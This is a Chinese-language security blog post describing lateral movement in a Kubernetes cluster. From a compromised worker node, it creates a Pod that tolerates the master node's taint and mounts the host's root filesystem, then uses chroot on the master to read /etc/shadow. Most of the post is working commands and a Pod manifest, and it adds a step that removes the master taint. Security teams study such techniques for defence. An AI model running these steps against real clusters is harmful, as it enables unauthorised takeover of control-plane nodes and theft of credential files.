首页 > 其他分享 >【K8s安全】K8s污点横向渗透

【K8s安全】K8s污点横向渗透

时间:2024-11-08 11:42:30浏览次数:1  
标签:kubectl 横向 master 污点 Master Pod K8s 节点

原创 Al1ex 七芒星实验室

污点是K8s高级调度的特性,用于限制哪些Pod可以被调度到某一个节点,一般主节点包含一个污点,这个污点是阻止Pod调度到主节点上面,除非有Pod能容忍这个污点,而通常容忍这个污点的Pod都是系统级别的Pod,例如:kube-system

基本原理

攻击者在获取到node节点的权限后可以通过kubectl来创建一个能够容忍主节点的污点的Pod,当该Pod被成功创建到Master上之后,攻击者可以通过在子节点上操作该Pod实现对主节点的控制

横向移动

Step 1:Node中查看节点信息

kubectl get nodes

Step 2:确认Master节点的容忍度

#方式一
kubectl describe nodes master

#方式二
kubectl describe node master | grep 'Taints' -A 5

Step 3:创建带有容忍参数的Pod(必要时可以修改Yaml使Pod增加到特定的Node上去)


apiVersion: v1
kind: Pod
metadata:
  name: control-master-15
spec:
  tolerations:
    - key: node-role.kubernetes.io/master
      operator: Exists
      effect: NoSchedule
  containers:
    - name: control-master-15
      image: ubuntu:18.04
      command: ["/bin/sleep", "3650d"]
      volumeMounts:
      - name: master
        mountPath: /master
  volumes:
  - name: master
    hostPath:
      path: /
      type: Directory

#创建Pod
kubectl create -f control-master.yaml
#部署情况
kubectl get deploy -o wide
#Pod详情
kubectl get pod -o wide

Step 4:获得Master控制端


kubectl exec control-master-15 -it bash
chroot /master bash
ls -al
cat /etc/shadow

扩展技巧

执行以下命令清除污点之后直接执行部署Pod到Master上,之后通过挂载实现逃逸获取Master节点的权限

#清除污点
kubectl taint nodes debian node-role.kubernetes.io/master:NoSchedule-
#查看污点
kubectl describe node master | grep 'Taints' -A 5

参考

标签:kubectl,横向,master,污点,Master,Pod,K8s,节点
From: https://www.cnblogs.com/o-O-oO/p/18534221

相关文章

  • 【k8s安全】etcd未授权到控制k8s集群
    免责声明本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者及本公众号团队不为此承担任何责任。在安装完K8s后,默认会安装etcd组件,etcd是一个高可用的key-value数据库,它为k8s集群提供底层数据存储,保存了......
  • 【K8S问题系列】Kubernetes Pod节点CrashLoopBackOff 状态【已解决】
    在Kubernetes中,Pod的状态为CrashLoopBackOff表示某个容器在启动后崩溃,Kubernetes尝试重启该容器,但由于持续崩溃,重启的间隔时间逐渐增加。下面将详细介绍CrashLoopBackOff状态的原因、解决方案及相关命令的输出解释。一、CrashLoopBackOff状态的详细介绍描述C......
  • Win10笔记本桌面横向拉伸的恢复技巧
    Win10笔记本桌面横向拉伸的恢复技巧在使用Windows10操作系统的笔记本电脑时,用户可能会遇到桌面背景图像被横向拉伸的问题。这种现象通常会导致桌面图标和背景图像看起来扭曲或失真,极大地影响视觉体验。为了帮助用户快速恢复正常的桌面显示,本文将详细介绍几种有效的解决方......
  • GPU 环境搭建指南:如何在裸机、Docker、K8s 等环境中使用 GPU
    本文主要分享在不同环境,例如裸机、Docker和Kubernetes等环境中如何使用GPU。跳转阅读原文:GPU环境搭建指南:如何在裸机、Docker、K8s等环境中使用GPU1.概述仅以比较常见的NVIDIAGPU举例,系统为Linux,对于其他厂家的GPU设备理论上流程都是一样的。省流:对于裸......
  • K8S备份-恢复-迁移神器-Velero
    K8S备份-恢复-迁移神器-Velero前言Kubernetes集群备份一直是我们的痛点。虽然可以通过备份ETCD来实现K8S集群备份,但是这种备份很难恢复单个Namespace。今天推荐Velero工具,它提供以下功能:灾备场景:提供备份恢复k8s集群的能力迁移场景:提供拷贝集群资源到其他集群的能力(复制......
  • 3分钟部署生产级k8s集群
    3分钟部署生产级k8s集群什么是sealos?sealos:sealos是一个kubernetes高可用安装工具,一条命令,离线安装,包含所有依赖,内核负载不依赖haproxykeepalived,纯golang开发,99年证书,支持v1.14.9v1.15.6v1.16.3v1.17.0。概览图​​前提条件安装并启动docker,高版本离线包自......
  • k8s网络
    1.k8s概述2.网络模型原则3.CNI4.CNI接口5.CNI-JSON文件5.插件讲解6.网络插件7.人气数据8.k8s功能说明9.网络模型10.举例-underlay11.举例-overlay......
  • arkUI:Column和Rom的间距设置(列向,横向)
    arkUI:Column和Rom的间距设置(列向,横向)1主要内容说明2相关内容举例和说明2.1Column的间距(列的间距)2.1.1源码1(Column的间距)2.1.2源码1运行效果2.2Row的间距(横向间距)2.2.1源码2(Row的间距)3.结语4.定位日期1主要内容说明Column:垂直布局组件,子组件从上到下依次......
  • 在K8S中,不能进入指定容器内部 是什么原因导致?
    在Kubernetes(K8s)中,不能进入指定容器内部可能由多种原因导致。以下是一些常见的原因及其解决方法:1.Pod状态异常Pod未运行:使用kubectlgetpods命令检查Pod的状态,如果Pod处于Pending、Failed或其他非Running状态,则无法进入容器内部。解决方法:根据Pod的事件日......
  • 在K8S中,status 状态为 ErrlmagePull 如何解决?
    在Kubernetes(K8s)中,当Pod的状态显示为ErrImagePull时,表示Kubernetes集群无法从配置的镜像仓库中拉取(pull)容器镜像。这通常是由镜像不存在、镜像仓库无法访问、认证问题或其他网络问题导致的。以下是一些解决ErrImagePull错误的详细步骤:1.检查网络连接确认集群网络:确......